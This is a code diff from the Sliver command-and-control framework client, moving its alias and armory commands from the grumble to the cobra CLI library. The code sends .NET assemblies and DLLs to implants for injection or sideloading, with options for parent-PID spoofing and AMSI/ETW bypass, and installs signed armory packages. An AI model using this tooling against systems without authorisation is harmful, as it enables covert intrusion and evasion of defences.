@@ -291,7 +310,7 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
}
|
||||
processArgs := strings.Split(processArgsStr, " ")
|
||||
processName := ctx.Flags.String("process")
|
||||
processName, _ := cmd.Flags().GetString("process")
|
||||
if processName == "" {
|
||||
processName, err = aliasManifest.getDefaultProcess(goos)
|
||||
if err != nil {
|
||||
@@ -303,15 +322,16 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
if strings.ToLower(filepath.Ext(binPath)) == ".dll" {
|
||||
isDLL = true
|
||||
}
|
||||
binData, err := ioutil.ReadFile(binPath)
|
||||
binData, err := os.ReadFile(binPath)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
var outFilePath *os.File
|
||||
if ctx.Flags.Bool("save") {
|
||||
outFile := filepath.Base(fmt.Sprintf("%s_%s*.log", filepath.Base(ctx.Command.Name), filepath.Base(session.GetHostname())))
|
||||
outFilePath, err = ioutil.TempFile("", outFile)
|
||||
if save, _ := cmd.Flags().GetBool("save"); save {
|
||||
outFile := filepath.Base(fmt.Sprintf("%s_%s*.log", filepath.Base(cmd.Name()), filepath.Base(session.GetHostname())))
|
||||
outFilePath, err = os.CreateTemp("", outFile)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
@@ -320,26 +340,37 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
|
||||
if aliasManifest.IsAssembly {
|
||||
|
||||
// Flags
|
||||
arch, _ := cmd.Flags().GetString("arch")
|
||||
method, _ := cmd.Flags().GetString("method")
|
||||
className, _ := cmd.Flags().GetString("class")
|
||||
appDomain, _ := cmd.Flags().GetString("app-domain")
|
||||
pPid, _ := cmd.Flags().GetUint32("ppid")
|
||||
inProcess, _ := cmd.Flags().GetBool("in-process")
|
||||
runtime, _ := cmd.Flags().GetString("runtime")
|
||||
amsiBypass, _ := cmd.Flags().GetBool("amsi-bypass")
|
||||
etwBypass, _ := cmd.Flags().GetBool("etw-bypass")
|
||||
|
||||
// Execute Assembly
|
||||
ctrl := make(chan bool)
|
||||
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
|
||||
msg := fmt.Sprintf("Executing %s %s ...", cmd.Name(), extArgs)
|
||||
con.SpinUntil(msg, ctrl)
|
||||
executeAssemblyResp, err := con.Rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
IsDLL: isDLL,
|
||||
Process: processName,
|
||||
Arguments: extArgs,
|
||||
Assembly: binData,
|
||||
Arch: ctx.Flags.String("arch"),
|
||||
Method: ctx.Flags.String("method"),
|
||||
ClassName: ctx.Flags.String("class"),
|
||||
AppDomain: ctx.Flags.String("app-domain"),
|
||||
Arch: arch,
|
||||
Method: method,
|
||||
ClassName: className,
|
||||
AppDomain: appDomain,
|
||||
ProcessArgs: processArgs,
|
||||
PPid: uint32(ctx.Flags.Uint("ppid")),
|
||||
InProcess: ctx.Flags.Bool("in-process"),
|
||||
Runtime: ctx.Flags.String("runtime"),
|
||||
AmsiBypass: ctx.Flags.Bool("amsi-bypass"),
|
||||
EtwBypass: ctx.Flags.Bool("etw-bypass"),
|
||||
PPid: pPid,
|
||||
InProcess: inProcess,
|
||||
Runtime: runtime,
|
||||
AmsiBypass: amsiBypass,
|
||||
EtwBypass: etwBypass,
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
@@ -355,28 +386,30 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintErrorf("Failed to decode call ext response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintAssemblyOutput(ctx.Command.Name, executeAssemblyResp, outFilePath, con)
|
||||
PrintAssemblyOutput(cmd.Name(), executeAssemblyResp, outFilePath, con)
|
||||
})
|
||||
con.PrintAsyncResponse(executeAssemblyResp.Response)
|
||||
} else {
|
||||
PrintAssemblyOutput(ctx.Command.Name, executeAssemblyResp, outFilePath, con)
|
||||
PrintAssemblyOutput(cmd.Name(), executeAssemblyResp, outFilePath, con)
|
||||
}
|
||||
|
||||
} else if aliasManifest.IsReflective {
|
||||
// Flags
|
||||
pPid, _ := cmd.Flags().GetUint32("ppid")
|
||||
|
||||
// Spawn DLL
|
||||
ctrl := make(chan bool)
|
||||
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
|
||||
msg := fmt.Sprintf("Executing %s %s ...", cmd.Name(), extArgs)
|
||||
con.SpinUntil(msg, ctrl)
|
||||
spawnDllResp, err := con.Rpc.SpawnDll(context.Background(), &sliverpb.InvokeSpawnDllReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
Args: strings.Trim(extArgs, " "),
|
||||
Data: binData,
|
||||
ProcessName: processName,
|
||||
EntryPoint: aliasManifest.Entrypoint,
|
||||
Kill: true,
|
||||
ProcessArgs: processArgs,
|
||||
PPid: uint32(ctx.Flags.Uint("ppid")),
|
||||
PPid: pPid,
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
@@ -392,21 +425,23 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintErrorf("Failed to decode call ext response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintSpawnDLLOutput(ctx.Command.Name, spawnDllResp, outFilePath, con)
|
||||
PrintSpawnDLLOutput(cmd.Name(), spawnDllResp, outFilePath, con)
|
||||
})
|
||||
con.PrintAsyncResponse(spawnDllResp.Response)
|
||||
} else {
|
||||
PrintSpawnDLLOutput(ctx.Command.Name, spawnDllResp, outFilePath, con)
|
||||
PrintSpawnDLLOutput(cmd.Name(), spawnDllResp, outFilePath, con)
|
||||
}
|
||||
|
||||
} else {
|
||||
// Flags
|
||||
pPid, _ := cmd.Flags().GetUint32("ppid")
|
||||
|
||||
// Sideload
|
||||
ctrl := make(chan bool)
|
||||
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
|
||||
msg := fmt.Sprintf("Executing %s %s ...", cmd.Name(), extArgs)
|
||||
con.SpinUntil(msg, ctrl)
|
||||
sideloadResp, err := con.Rpc.Sideload(context.Background(), &sliverpb.SideloadReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
Args: extArgs,
|
||||
Data: binData,
|
||||
EntryPoint: entryPoint,
|
||||
@@ -414,7 +449,7 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
Kill: true,
|
||||
IsDLL: isDLL,
|
||||
ProcessArgs: processArgs,
|
||||
PPid: uint32(ctx.Flags.Uint("ppid")),
|
||||
PPid: pPid,
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
@@ -430,11 +465,11 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintErrorf("Failed to decode call ext response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintSideloadOutput(ctx.Command.Name, sideloadResp, outFilePath, con)
|
||||
PrintSideloadOutput(cmd.Name(), sideloadResp, outFilePath, con)
|
||||
})
|
||||
con.PrintAsyncResponse(sideloadResp.Response)
|
||||
} else {
|
||||
PrintSideloadOutput(ctx.Command.Name, sideloadResp, outFilePath, con)
|
||||
PrintSideloadOutput(cmd.Name(), sideloadResp, outFilePath, con)
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -466,11 +501,38 @@ func PrintAssemblyOutput(cmdName string, execAsmResp *sliverpb.ExecuteAssembly,
|
||||
}
|
||||
}
|
||||
|
||||
func cmdExists(name string, app *grumble.App) bool {
|
||||
for _, c := range app.Commands().All() {
|
||||
if name == c.Name {
|
||||
return true
|
||||
func makeAliasPlatformFilters(alias *AliasManifest) map[string]string {
|
||||
filtersOS := make(map[string]bool)
|
||||
filtersArch := make(map[string]bool)
|
||||
|
||||
var all []string
|
||||
|
||||
// Only add filters for architectures when there OS matters.
|
||||
for _, file := range alias.Files {
|
||||
filtersOS[file.OS] = true
|
||||
|
||||
if filtersOS[file.OS] {
|
||||
filtersArch[file.Arch] = true
|
||||
}
|
||||
}
|
||||
return false
|
||||
|
||||
for os, enabled := range filtersOS {
|
||||
if enabled {
|
||||
all = append(all, os)
|
||||
}
|
||||
}
|
||||
|
||||
for arch, enabled := range filtersArch {
|
||||
if enabled {
|
||||
all = append(all, arch)
|
||||
}
|
||||
}
|
||||
|
||||
if len(all) == 0 {
|
||||
return map[string]string{}
|
||||
}
|
||||
|
||||
return map[string]string{
|
||||
app.CommandFilterKey: strings.Join(all, ","),
|
||||
}
|
||||
}
|
||||
@@ -25,14 +25,16 @@ import (
|
||||
"path/filepath"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// AliasesRemoveCmd - Locally load a alias into the Sliver shell.
|
||||
func AliasesRemoveCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
name := ctx.Args.String("name")
|
||||
func AliasesRemoveCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
name := args[0]
|
||||
// name := ctx.Args.String("name")
|
||||
if name == "" {
|
||||
con.PrintErrorf("Extension name is required\n")
|
||||
return
|
||||
@@ -61,7 +63,7 @@ func RemoveAliasByCommandName(commandName string, con *console.SliverConsoleClie
|
||||
return errors.New("alias not loaded")
|
||||
}
|
||||
delete(loadedAliases, commandName)
|
||||
con.App.Commands().Remove(commandName)
|
||||
// con.App.Commands().Remove(commandName)
|
||||
extPath := filepath.Join(assets.GetAliasesDir(), filepath.Base(commandName))
|
||||
if _, err := os.Stat(extPath); os.IsNotExist(err) {
|
||||
return nil
|
||||
|
||||
@@ -23,19 +23,20 @@ import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"net/url"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
"github.com/rsteube/carapace"
|
||||
"github.com/spf13/cobra"
|
||||
"golang.org/x/term"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/command/alias"
|
||||
"github.com/bishopfox/sliver/client/command/extensions"
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/server/cryptography/minisign"
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
"golang.org/x/term"
|
||||
"github.com/bishopfox/sliver/util/minisign"
|
||||
)
|
||||
|
||||
// ArmoryIndex - Index JSON containing alias/extension/bundle information
|
||||
@@ -104,10 +105,10 @@ var (
|
||||
)
|
||||
|
||||
// ArmoryCmd - The main armory command
|
||||
func ArmoryCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
func ArmoryCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
armoriesConfig := assets.GetArmoriesConfig()
|
||||
con.PrintInfof("Fetching %d armory index(es) ... ", len(armoriesConfig))
|
||||
clientConfig := parseArmoryHTTPConfig(ctx)
|
||||
clientConfig := parseArmoryHTTPConfig(cmd)
|
||||
indexes := fetchIndexes(armoriesConfig, clientConfig)
|
||||
if len(indexes) != len(armoriesConfig) {
|
||||
con.Printf("errors!\n")
|
||||
@@ -201,40 +202,57 @@ func bundlesInCache() []*ArmoryBundle {
|
||||
}
|
||||
|
||||
// AliasExtensionOrBundleCompleter - Completer for alias, extension, and bundle names
|
||||
func AliasExtensionOrBundleCompleter(prefix string, args []string, con *console.SliverConsoleClient) []string {
|
||||
results := []string{}
|
||||
aliases, exts := packagesInCache()
|
||||
bundles := bundlesInCache()
|
||||
for _, aliasPkg := range aliases {
|
||||
if strings.HasPrefix(aliasPkg.CommandName, prefix) {
|
||||
func AliasExtensionOrBundleCompleter() carapace.Action {
|
||||
comps := func(ctx carapace.Context) carapace.Action {
|
||||
var action carapace.Action
|
||||
|
||||
results := []string{}
|
||||
aliases, exts := packagesInCache()
|
||||
bundles := bundlesInCache()
|
||||
|
||||
for _, aliasPkg := range aliases {
|
||||
results = append(results, aliasPkg.CommandName)
|
||||
results = append(results, aliasPkg.Help)
|
||||
}
|
||||
}
|
||||
for _, extensionPkg := range exts {
|
||||
if strings.HasPrefix(extensionPkg.CommandName, prefix) {
|
||||
aliasesComps := carapace.ActionValuesDescribed(results...).Tag("aliases").Invoke(ctx)
|
||||
results = make([]string, 0)
|
||||
|
||||
for _, extensionPkg := range exts {
|
||||
results = append(results, extensionPkg.CommandName)
|
||||
results = append(results, extensionPkg.Help)
|
||||
}
|
||||
}
|
||||
for _, bundle := range bundles {
|
||||
if strings.HasPrefix(bundle.Name, prefix) {
|
||||
extentionComps := carapace.ActionValuesDescribed(results...).Tag("extensions").Invoke(ctx)
|
||||
results = make([]string, 0)
|
||||
|
||||
for _, bundle := range bundles {
|
||||
results = append(results, bundle.Name)
|
||||
}
|
||||
bundleComps := carapace.ActionValues(results...).Tag("bundles").Invoke(ctx)
|
||||
|
||||
return action.Invoke(ctx).Merge(
|
||||
aliasesComps,
|
||||
extentionComps,
|
||||
bundleComps,
|
||||
).ToA()
|
||||
}
|
||||
return results
|
||||
|
||||
return carapace.ActionCallback(comps)
|
||||
}
|
||||
|
||||
// PrintArmoryPackages - Prints the armory packages
|
||||
func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.ExtensionManifest, con *console.SliverConsoleClient) {
|
||||
width, _, err := term.GetSize(0)
|
||||
if err != nil {
|
||||
width = 999
|
||||
width = 1
|
||||
}
|
||||
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.SetTitle(console.Bold + "Packages" + console.Normal)
|
||||
|
||||
if con.Settings.SmallTermWidth < width {
|
||||
urlMargin := 150 // Extra margin needed to show URL column
|
||||
|
||||
if con.Settings.SmallTermWidth+urlMargin < width {
|
||||
tw.AppendHeader(table.Row{
|
||||
"Command Name",
|
||||
"Version",
|
||||
@@ -283,13 +301,15 @@ func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.Exte
|
||||
})
|
||||
}
|
||||
|
||||
sliverMenu := con.App.Menu("implant")
|
||||
|
||||
rows := []table.Row{}
|
||||
for _, pkg := range entries {
|
||||
color := console.Normal
|
||||
if extensions.CmdExists(pkg.CommandName, con.App) {
|
||||
if extensions.CmdExists(pkg.CommandName, sliverMenu.Command) {
|
||||
color = console.Green
|
||||
}
|
||||
if con.Settings.SmallTermWidth < width {
|
||||
if con.Settings.SmallTermWidth+urlMargin < width {
|
||||
rows = append(rows, table.Row{
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.CommandName),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.Version),
|
||||
@@ -348,15 +368,15 @@ func PrintArmoryBundles(bundles []*ArmoryBundle, con *console.SliverConsoleClien
|
||||
con.Printf("%s\n", tw.Render())
|
||||
}
|
||||
|
||||
func parseArmoryHTTPConfig(ctx *grumble.Context) ArmoryHTTPConfig {
|
||||
func parseArmoryHTTPConfig(cmd *cobra.Command) ArmoryHTTPConfig {
|
||||
var proxyURL *url.URL
|
||||
rawProxyURL := ctx.Flags.String("proxy")
|
||||
rawProxyURL, _ := cmd.Flags().GetString("proxy")
|
||||
if rawProxyURL != "" {
|
||||
proxyURL, _ = url.Parse(rawProxyURL)
|
||||
}
|
||||
|
||||
timeout := defaultTimeout
|
||||
rawTimeout := ctx.Flags.String("timeout")
|
||||
rawTimeout, _ := cmd.Flags().GetString("timeout")
|
||||
if rawTimeout != "" {
|
||||
var err error
|
||||
timeout, err = time.ParseDuration(rawTimeout)
|
||||
@@ -365,11 +385,14 @@ func parseArmoryHTTPConfig(ctx *grumble.Context) ArmoryHTTPConfig {
|
||||
}
|
||||
}
|
||||
|
||||
ignoreCache, _ := cmd.Flags().GetBool("ignore-cache")
|
||||
disableTLSValidation, _ := cmd.Flags().GetBool("insecure")
|
||||
|
||||
return ArmoryHTTPConfig{
|
||||
IgnoreCache: ctx.Flags.Bool("ignore-cache"),
|
||||
IgnoreCache: ignoreCache,
|
||||
ProxyURL: proxyURL,
|
||||
Timeout: timeout,
|
||||
DisableTLSValidation: ctx.Flags.Bool("insecure"),
|
||||
DisableTLSValidation: disableTLSValidation,
|
||||
}
|
||||
}
|
||||
|
||||
@@ -484,7 +507,7 @@ func fetchPackageSignature(wg *sync.WaitGroup, armoryConfig *assets.ArmoryConfig
|
||||
|
||||
var sig *minisign.Signature
|
||||
if pkgParser, ok := pkgParsers[repoURL.Hostname()]; ok {
|
||||
sig, _, err = pkgParser(armoryPkg, true, clientConfig)
|
||||
sig, _, err = pkgParser(armoryConfig, armoryPkg, true, clientConfig)
|
||||
} else {
|
||||
sig, _, err = DefaultArmoryPkgParser(armoryConfig, armoryPkg, true, clientConfig)
|
||||
}
|
||||
|
||||
@@ -21,32 +21,32 @@ package armory
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"net/url"
|
||||
"os"
|
||||
"path/filepath"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/alias"
|
||||
"github.com/bishopfox/sliver/client/command/extensions"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/server/cryptography/minisign"
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/bishopfox/sliver/util/minisign"
|
||||
)
|
||||
|
||||
var (
|
||||
// ErrPackageNotFound - The package was not found
|
||||
ErrPackageNotFound = errors.New("package not found")
|
||||
)
|
||||
// ErrPackageNotFound - The package was not found
|
||||
var ErrPackageNotFound = errors.New("package not found")
|
||||
|
||||
// ArmoryInstallCmd - The armory install command
|
||||
func ArmoryInstallCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
name := ctx.Args.String("name")
|
||||
func ArmoryInstallCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
name := args[0]
|
||||
// name := ctx.Args.String("name")
|
||||
if name == "" {
|
||||
con.PrintErrorf("A package or bundle name is required")
|
||||
return
|
||||
}
|
||||
clientConfig := parseArmoryHTTPConfig(ctx)
|
||||
clientConfig := parseArmoryHTTPConfig(cmd)
|
||||
refresh(clientConfig)
|
||||
if name == "all" {
|
||||
aliases, extensions := packagesInCache()
|
||||
@@ -143,7 +143,7 @@ func installAliasPackageByName(name string, clientConfig ArmoryHTTPConfig, con *
|
||||
var sig *minisign.Signature
|
||||
var tarGz []byte
|
||||
if pkgParser, ok := pkgParsers[repoURL.Hostname()]; ok {
|
||||
sig, tarGz, err = pkgParser(&entry.Pkg, false, clientConfig)
|
||||
sig, tarGz, err = pkgParser(entry.ArmoryConfig, &entry.Pkg, false, clientConfig)
|
||||
} else {
|
||||
sig, tarGz, err = DefaultArmoryPkgParser(entry.ArmoryConfig, &entry.Pkg, false, clientConfig)
|
||||
}
|
||||
@@ -159,7 +159,7 @@ func installAliasPackageByName(name string, clientConfig ArmoryHTTPConfig, con *
|
||||
return errors.New("signature verification failed")
|
||||
}
|
||||
|
||||
tmpFile, err := ioutil.TempFile("", "sliver-armory-")
|
||||
tmpFile, err := os.CreateTemp("", "sliver-armory-")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
@@ -176,7 +176,10 @@ func installAliasPackageByName(name string, clientConfig ArmoryHTTPConfig, con *
|
||||
if installPath == nil {
|
||||
return errors.New("failed to install alias")
|
||||
}
|
||||
_, err = alias.LoadAlias(filepath.Join(*installPath, alias.ManifestFileName), con)
|
||||
|
||||
menuCmd := con.App.Menu(constants.ImplantMenu).Root()
|
||||
|
||||
_, err = alias.LoadAlias(filepath.Join(*installPath, alias.ManifestFileName), menuCmd, con)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
@@ -186,8 +189,9 @@ func installAliasPackageByName(name string, clientConfig ArmoryHTTPConfig, con *
|
||||
func installExtension(ext *extensions.ExtensionManifest, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) {
|
||||
deps := make(map[string]struct{})
|
||||
resolveExtensionPackageDependencies(ext.CommandName, deps, clientConfig, con)
|
||||
sliverMenu := con.App.Menu(constants.ImplantMenu)
|
||||
for dep := range deps {
|
||||
if extensions.CmdExists(dep, con.App) {
|
||||
if extensions.CmdExists(dep, sliverMenu.Command) {
|
||||
continue // Dependency is already installed
|
||||
}
|
||||
err := installExtensionPackageByName(dep, clientConfig, con)
|
||||
@@ -261,7 +265,7 @@ func installExtensionPackageByName(name string, clientConfig ArmoryHTTPConfig, c
|
||||
var sig *minisign.Signature
|
||||
var tarGz []byte
|
||||
if pkgParser, ok := pkgParsers[repoURL.Hostname()]; ok {
|
||||
sig, tarGz, err = pkgParser(&entry.Pkg, false, clientConfig)
|
||||
sig, tarGz, err = pkgParser(entry.ArmoryConfig, &entry.Pkg, false, clientConfig)
|
||||
} else {
|
||||
sig, tarGz, err = DefaultArmoryPkgParser(entry.ArmoryConfig, &entry.Pkg, false, clientConfig)
|
||||
}
|
||||
@@ -277,7 +281,7 @@ func installExtensionPackageByName(name string, clientConfig ArmoryHTTPConfig, c
|
||||
return errors.New("signature verification failed")
|
||||
}
|
||||
|
||||
tmpFile, err := ioutil.TempFile("", "sliver-armory-")
|
||||
tmpFile, err := os.CreateTemp("", "sliver-armory-")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
@@ -301,9 +305,12 @@ func installExtensionPackageByName(name string, clientConfig ArmoryHTTPConfig, c
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if extensions.CmdExists(extCmd.Name, con.App) {
|
||||
con.App.Commands().Remove(extCmd.Name)
|
||||
}
|
||||
extensions.ExtensionRegisterCommand(extCmd, con)
|
||||
|
||||
sliverMenu := con.App.Menu(constants.ImplantMenu)
|
||||
//
|
||||
// if extensions.CmdExists(extCmd.Name, sliverMenu.Command) {
|
||||
// con.App.Commands().Remove(extCmd.Name)
|
||||
// }
|
||||
extensions.ExtensionRegisterCommand(extCmd, sliverMenu.Command, con)
|
||||
return nil
|
||||
}
|
||||
@@ -24,7 +24,7 @@ import (
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"io"
|
||||
"net"
|
||||
"net/http"
|
||||
"net/url"
|
||||
@@ -33,14 +33,14 @@ import (
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/server/cryptography/minisign"
|
||||
"github.com/bishopfox/sliver/util/minisign"
|
||||
)
|
||||
|
||||
// ArmoryIndexParser - Generic interface to fetch armory indexes
|
||||
type ArmoryIndexParser func(*assets.ArmoryConfig, ArmoryHTTPConfig) (*ArmoryIndex, error)
|
||||
|
||||
// ArmoryPackageParser - Generic interface to fetch armory package manifests
|
||||
type ArmoryPackageParser func(*ArmoryPackage, bool, ArmoryHTTPConfig) (*minisign.Signature, []byte, error)
|
||||
type ArmoryPackageParser func(*assets.ArmoryConfig, *ArmoryPackage, bool, ArmoryHTTPConfig) (*minisign.Signature, []byte, error)
|
||||
|
||||
var (
|
||||
indexParsers = map[string]ArmoryIndexParser{
|
||||
@@ -79,28 +79,7 @@ func DefaultArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig Ar
|
||||
return nil, err
|
||||
}
|
||||
|
||||
client := httpClient(clientConfig)
|
||||
repoURL, err := url.Parse(armoryConfig.RepoURL)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
req := &http.Request{
|
||||
Method: http.MethodGet,
|
||||
URL: repoURL,
|
||||
Header: map[string][]string{},
|
||||
}
|
||||
if armoryConfig.Authorization != "" {
|
||||
req.Header.Set("Authorization", armoryConfig.Authorization)
|
||||
}
|
||||
resp, err := client.Do(req)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
body, err := ioutil.ReadAll(resp.Body)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
resp, body, _ := httpRequest(clientConfig, armoryConfig.RepoURL, armoryConfig, http.Header{})
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
return nil, errors.New("api returned non-200 status code")
|
||||
}
|
||||
@@ -125,9 +104,8 @@ func DefaultArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig Ar
|
||||
return nil, errors.New("index has invalid signature")
|
||||
}
|
||||
|
||||
armoryIndex := &ArmoryIndex{ArmoryConfig: armoryConfig}
|
||||
if err != nil {
|
||||
return nil, err
|
||||
armoryIndex := &ArmoryIndex{
|
||||
ArmoryConfig: armoryConfig,
|
||||
}
|
||||
err = json.Unmarshal(armoryIndexData, armoryIndex)
|
||||
if err != nil {
|
||||
@@ -144,25 +122,7 @@ func DefaultArmoryPkgParser(armoryConfig *assets.ArmoryConfig, armoryPkg *Armory
|
||||
return nil, nil, err
|
||||
}
|
||||
|
||||
client := httpClient(clientConfig)
|
||||
repoURL, err := url.Parse(armoryConfig.RepoURL)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
req := &http.Request{
|
||||
Method: http.MethodGet,
|
||||
URL: repoURL,
|
||||
Header: map[string][]string{},
|
||||
}
|
||||
if armoryConfig.Authorization != "" {
|
||||
req.Header.Set("Authorization", armoryConfig.Authorization)
|
||||
}
|
||||
resp, err := client.Do(req)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
body, err := ioutil.ReadAll(resp.Body)
|
||||
resp, body, err := httpRequest(clientConfig, armoryConfig.RepoURL, armoryConfig, http.Header{})
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
@@ -187,18 +147,10 @@ func DefaultArmoryPkgParser(armoryConfig *assets.ArmoryConfig, armoryPkg *Armory
|
||||
if tarGzURL.Scheme != "https" && tarGzURL.Scheme != "http" {
|
||||
return nil, nil, errors.New("invalid url scheme")
|
||||
}
|
||||
resp, err := client.Get(tarGzURL.String())
|
||||
tarGz, err = downloadRequest(clientConfig, tarGzURL.String(), armoryConfig)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
tarGz, err = ioutil.ReadAll(resp.Body)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
return nil, nil, errors.New("api returned non-200 status code")
|
||||
}
|
||||
}
|
||||
return sig, tarGz, nil
|
||||
}
|
||||
@@ -239,13 +191,7 @@ func GithubAPIArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig
|
||||
return nil, err
|
||||
}
|
||||
|
||||
client := httpClient(clientConfig)
|
||||
resp, err := client.Get(armoryConfig.RepoURL)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
body, err := ioutil.ReadAll(resp.Body)
|
||||
resp, body, err := httpRequest(clientConfig, armoryConfig.RepoURL, armoryConfig, http.Header{})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
@@ -253,7 +199,7 @@ func GithubAPIArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig
|
||||
if resp.StatusCode == http.StatusForbidden {
|
||||
return nil, errors.New("you hit the github api rate limit (60 req/hr), try later")
|
||||
}
|
||||
return nil, errors.New("api returned non-200 status code")
|
||||
return nil, fmt.Errorf("api returned non-200 status code: %d", resp.StatusCode)
|
||||
}
|
||||
|
||||
releases := []GithubRelease{}
|
||||
@@ -270,23 +216,13 @@ func GithubAPIArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig
|
||||
var sigData []byte
|
||||
for _, asset := range release.Assets {
|
||||
if asset.Name == armoryIndexFileName {
|
||||
resp, err := client.Get(asset.BrowserDownloadURL)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
armoryIndexData, err = ioutil.ReadAll(resp.Body)
|
||||
armoryIndexData, err = downloadRequest(clientConfig, asset.URL, armoryConfig)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
if asset.Name == armoryIndexSigFileName {
|
||||
resp, err := client.Get(asset.BrowserDownloadURL)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
sigData, err = ioutil.ReadAll(resp.Body)
|
||||
sigData, err = downloadRequest(clientConfig, asset.URL, armoryConfig)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
@@ -299,7 +235,9 @@ func GithubAPIArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig
|
||||
return nil, errors.New("invalid signature")
|
||||
}
|
||||
|
||||
armoryIndex := &ArmoryIndex{}
|
||||
armoryIndex := &ArmoryIndex{
|
||||
ArmoryConfig: armoryConfig,
|
||||
}
|
||||
err = json.Unmarshal(armoryIndexData, armoryIndex)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
@@ -308,20 +246,14 @@ func GithubAPIArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig
|
